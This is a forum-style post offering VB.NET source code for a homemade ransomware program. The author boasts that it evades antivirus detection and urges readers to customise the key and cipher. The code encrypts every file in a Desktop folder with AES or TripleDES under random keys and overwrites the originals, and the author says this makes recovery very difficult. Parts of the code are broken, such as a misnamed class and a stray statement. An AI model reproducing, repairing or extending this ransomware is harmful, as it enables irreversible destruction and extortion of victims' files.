Hello everyone I share with you a code to build your own ransomware. I use the code for AES encryption from https://github.com/DeepwebCodex/Keepsave . This is a little bit "Script kiddies" I know.
The folder "MyFiles" was for my own test. This 100% FUD : https://virusscan.jotti.org/fr-FR/filescanjob/qocskcby2s
You can change the key, the method of encryption , bytes hashed .... to make it own ! I add a random var : each file as a random key so to get it back is very difficult
Imports System.IO Public Class Form1 Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\MyFiles" Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load ' Timer1.Start() For Each rr In Directory.GetFiles(filepath) '& "\MyFiles") Dim z = Directory.GetFiles(filepath) ' & "\MyFiles") Dim testrdmforkey As Random testrdmforkey = New Random Dim key As String = "??????§??????????????????" & testrdmforkey.ToString Dim READBYTES As Byte() = System.IO.File.ReadAllBytes(rr) Dim AESBYTES As Byte() = AESFile.AESFile_Encrypt(READBYTES, key) Dim eee As Random eee = New Random IO.File.WriteAllBytes(rr, AESBYTES) Next End Sub ' Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\MyFiles" Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick For Each rr In Directory.GetFiles(filepath) '& "\MyFiles") Dim z = Directory.GetFiles(filepath) ' & "\MyFiles") Dim testrdmforkey As Random testrdmforkey = New Random Dim key As String = "??????§??????????????????" & testrdmforkey.ToString Dim READBYTES As Byte() = System.IO.File.ReadAllBytes(rr) Dim AESBYTES As Byte() = otherencrpt.TripleDES_Encrypt(READBYTES, key) Dim eee As Random eee = New Random IO.File.WriteAllBytes(rr + ".exe", AESBYTES) Next End Sub Public Class AESFile Public Shared Function AESFile_Encrypt(ByVal input As Byte(), ByVal pass As String) As Byte() Dim AES As New System.Security.Cryptography.RijndaelManaged Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider Dim Encrypted As Byte() Try Dim hash(31) As Byte Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) Array.Copy(temp, 0, hash, 0, 16) Array.Copy(temp, 0, hash, 15, 16) AES.Key = hash AES.Mode = Security.Cryptography.CipherMode.ECB Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor Dim buffer As Byte() = input Encrypted = DESEncrypter.TransformFinalBlock(buffer, 0, buffer.Length) Return Encrypted Catch ex As Exception End Try End Function End Class end sub
Exampe of other encryption methods :
Public Class otherencrypt Public Shared Function test(ByVal input As Byte(), ByVal pass As String) As Byte() Dim AES As New System.Security.Cryptography.AesManaged Dim Hash_AES As New System.Security.Cryptography.SHA512CryptoServiceProvider Dim Encrypted As Byte() Try Dim hash(31) As Byte Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) Array.Copy(temp, 0, hash, 0, 16) Array.Copy(temp, 0, hash, 15, 16) AES.Key = hash AES.Mode = Security.Cryptography.CipherMode.ECB Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor Dim buffer As Byte() = input Encrypted = DESEncrypter.TransformFinalBlock(buffer, 0, buffer.Length) Return Encrypted Catch ex As Exception End Try End Function End Class